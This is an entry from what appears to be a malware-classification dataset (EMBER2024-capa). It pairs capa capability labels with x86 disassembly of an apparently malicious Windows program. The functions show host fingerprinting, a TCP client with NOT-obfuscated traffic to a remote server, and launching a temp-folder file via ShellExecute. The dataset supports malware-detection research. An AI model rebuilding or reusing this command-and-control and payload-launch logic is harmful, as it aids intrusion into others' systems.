joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x41c
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x414], eax
push ebp
push esi
push ebx
mov ecx, edi
call fcn.00403a56
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x40110f
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00410a70
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x21a]
push eax
mov word [esp + 0x21c], dx
call fcn.00410a70
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x432ca0
cmp word [esi], 0
je 0x4010ae
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.0040e9f5
add esp, 0xc
push esi
lea ecx, [esp + 0x214]
push 0x104
push ecx
call fcn.0040ea64
add esp, 0xc
add esi, 0x118
cmp esi, 0x433218
jl 0x401078
mov esi, 0x432ca0
cmp word [esi], 0
je 0x4010d3
push ebx
push edi
mov ecx, esi
call fcn.00404238
add esp, 8
add esi, 0x118
cmp esi, 0x433218
jl 0x4010c1
push 0x433a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040ea64
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40110d
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x41c]
pop esi
pop ebp
xor ecx, esp
call fcn.0040e9e6
add esp, 0x41c
ret
Function at 0x4013e0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x432bd0
push 0x67
push esi
call edi
push 0x64
push 0x432b08
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401590
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x432bd0
push 0x432b08
push 0
mov dword [0x432c98], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401472
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040e9e6
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
call fcn.00402a03
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00401f80
test eax, eax
je 0x4014a3
call fcn.00403100
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401a30
test eax, eax
je 0x40145a
test byte [0x43321c], 7
je 0x4014ba
call fcn.00401130
mov ecx, dword [0x4334f8]
test ecx, ecx
jbe 0x4014e4
cmp word [0x4334fc], 0
jbe 0x4014e4
mov esi, 0x42ff9c
call fcn.00403828
mov ax, word [0x4334fc]
mov word [0x42ffac], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x429344
mov edx, 0x433a70
call fcn.00401c10
call fcn.0040388c
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x1a]
push eax
mov word [esp + 0x1c], dx
call fcn.00410a70
add esp, 0x14
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x433a70
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.0040ea64
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401586
push 0x1f4
call edi
push 1
push 0
push 0x42935c
lea ecx, [esp + 0x14]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4016e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.00410a70
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.00410a70
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x429360
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x4293a4
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401786
mov ebx, 1
push 0x4293b0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4293f8
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017b1
or ebx, 2
push 0x429408
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x429454
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017dc
or ebx, 4
push 0x429460
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4294b4
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40180a
or ebx, 0x100
push 0x4294c0
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x429514
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401838
or ebx, 0x200
push 0x429520
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x429580
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401866
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040e9e6
add esp, 0x414
ret
Function at 0x401a30
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3a4
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x39c], eax
push ebx
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.00410a70
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x433670
call fcn.00401c30
test eax, eax
jne 0x401b49
jmp 0x401a90
movzx ecx, word [eax + 0x42958c]
mov word [eax + 0x433818], cx
add eax, 2
test cx, cx
jne 0x401a90
push 0x429598
push 0x40
push 0x433674
call fcn.0040e9f5
add esp, 0xc
push 0x4295b4
push 0x10
push 0x4336f6
call fcn.0040e9f5
add esp, 0xc
push 0x4295c0
push 0x40
push 0x433716
call fcn.0040e9f5
mov eax, 0x51
mov ecx, 0x2b70
add esp, 0xc
mov word [0x4336f4], ax
mov word [0x433796], cx
xor eax, eax
jmp 0x401b00
movzx ecx, word [eax + 0x4295dc]
mov word [eax + 0x4337f8], cx
add eax, 2
test cx, cx
jne 0x401b00
mov eax, 0x4337f8
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401b20
mov edx, dword [0x4295ec]
mov cx, word [0x4295f0]
mov dword [eax], edx
mov word [eax + 4], cx
mov dword [0x433838], 5
call fcn.004033d8
lea edi, [esp + 0x198]
call fcn.0040334a
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x433630], cx
add eax, 2
test cx, cx
jne 0x401b60
push 0x433630
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401bad
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.0040e9e6
add esp, 0x3a4
ret
push 0x433630
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401b94
push 0x4295f4
call fcn.00403461
add esp, 4
mov dword [0x4334f8], eax
call fcn.00401890
push 0
push 0
push 0
push 0x40378d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3a4]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040e9e6
add esp, 0x3a4
ret
Function at 0x401cd0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401de3
cmp esi, ebx
je 0x401de3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d00
sub eax, edx
sar eax, 1
je 0x401de3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.00410a70
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401d6a
cmp dword [0x42ff90], 3
jne 0x401d6a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42901c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040ea64
add esp, 0xc
jmp 0x401d7a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ea64
push 0x429020
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.0040ed47
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401de3
push eax
push 1
push 0x200
push edi
call fcn.0040f03a
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f0ce
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040e9e6
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040e9e6
add esp, 0x210
ret

Function at 0x401ea0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.00410a70
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401f52
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x429040
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040ea64
push 0x42905c
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040ed47
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401f37
push eax
push 1
push 0x200
push esi
call fcn.0040f2ac
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f0ce
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040e9e6
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040e9e6
add esp, 0x210
ret
Function at 0x402880
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x42ec20]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.00410a70
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.00410a70
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401e00
test eax, eax
je 0x4029ea
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x4291bc]
mov word [eax + 0x433328], cx
add eax, 2
test cx, cx
jne 0x4028e0
xor eax, eax
jmp 0x402900
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x433220], cx
add eax, 2
test cx, cx
jne 0x402900
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x4332a0], cx
add eax, 2
test cx, cx
jne 0x402920
cmp dword [0x42ff90], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x433320], ax
mov word [0x4333a8], cx
mov dword [0x4333ac], 5
je 0x402979
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4029a6
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x429610
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040ea64
add esp, 0xc
push 0x4291d8
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040ea64
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040e9e6
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040e9e6
add esp, 0x414
ret

Function at 0x402a03
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x42ff90], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00410a70
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402a8d
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x402a6c
cmp eax, 2
jae 0x402a62
cmp eax, 1
jne 0x402a8d
mov dword [0x42ff90], 3
cmp dword [ebp - 0x7c], 6
jne 0x402a8d
test eax, eax
jne 0x402a82
mov dword [0x42ff90], 4
jmp 0x402a8d
cmp eax, 1
jne 0x402a8d
mov dword [0x42ff90], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.0040e9e6
add ebp, 0xa0
leave
ret
Function at 0x402aa2
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00410a70
add esp, 0xc
cmp dword [0x42ff90], 3
lea eax, [ebp - 0x20c]
jne 0x402b08
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x429610
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040ea64
add esp, 0xc
pop esi
jmp 0x402b14
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x429614
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.0040e9e6
leave
ret

Function at 0x402c9a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00410a70
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402e1e
push dword [ebp - 0x214]
call fcn.00402f0b
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402d12
xor eax, eax
jmp 0x402d19
push esi
call fcn.00402bd2
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e9e6
leave
ret

Function at 0x402dd1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402e19
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x403002
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x429690
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0040ed47
add esp, 0xc
test eax, eax
je 0x40302f
xor eax, eax
jmp 0x4030ba
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.0040f922
push dword [ebp - 4]
call fcn.0040fb44
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.0040f922
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.0040f70c
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0040f03a
push dword [ebp - 4]
call fcn.0040f0ce
push ebx
lea ebx, [edi + esi]
call fcn.004030be
push 0x429698
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0040ed47
add esp, 0x44
pop esi
test eax, eax
jne 0x403028
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.0040f2ac
push dword [ebp - 4]
call fcn.0040f0ce
add esp, 0x14
test edi, edi
je 0x4030b7
push edi
call fcn.0040f7d6
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x4035bf
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40363e
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403614
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x403643
cmp dword [ebp - 8], 3
jb 0x4035da
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x403637
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x403637
cmp edi, esi
jne 0x403622
mov eax, dword [ebp - 4]
jmp 0x40365a
cmp dword [eax + 0x34], 6
jne 0x403657
cmp dword [eax + 0x1c], esi
jne 0x403660
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x40364c
jmp 0x40369d
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403625
Function at 0x40392a
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.00403a56
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x403a47
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00410a70
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00410a70
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x432ca0
mov ebx, edi
cmp word [ebx], 0
je 0x4039dc
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040e9f5
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040ea64
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x433218
jl 0x4039ae
cmp word [edi], 0
je 0x403a02
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.00404238
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x433218
jl 0x4039ea
push 0x433a70
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040ea64
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403a41
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e9e6
leave
ret

Function at 0x403c8b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403cad
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403cd5
xor eax, eax
jmp 0x403d67
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403cce
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d15
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403d56
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403d56
xor ebx, ebx
inc ebx
jmp 0x403d65
mov eax, dword [esi]
test eax, eax
je 0x403d65
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.0040e9e6
leave
ret
Function at 0x403ea0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403f1d
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403ec7
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403ebb
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00404586
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x42ff94
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00416550
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403f20
cmp eax, dword [ebp - 4]
jne 0x403f20
mov dword [ebp - 8], 1
jmp 0x403f20
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403f2b
push ebx
call fcn.004045b5
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x4040c4
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x42ec20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x404102
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404220
cmp edi, ebx
je 0x404220
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.00410a70
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404220
cmp eax, ebx
je 0x404220
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00404586
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40420b
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4041e9
test eax, eax
je 0x4041e9
add ebx, eax
cmp edi, ebx
jg 0x404171
push 5
pop ecx
cmp ebx, ecx
jl 0x40420b
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, 0x42ff94
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40420b
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x4041c9
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x4041c3
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x4041f1
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00416550
mov dword [esi], ebx
jmp 0x4041fe
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40420b
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00416550
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404220
push dword [ebp - 0x860]
call fcn.004045b5
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e9e6
add ebp, 0x70
leave
ret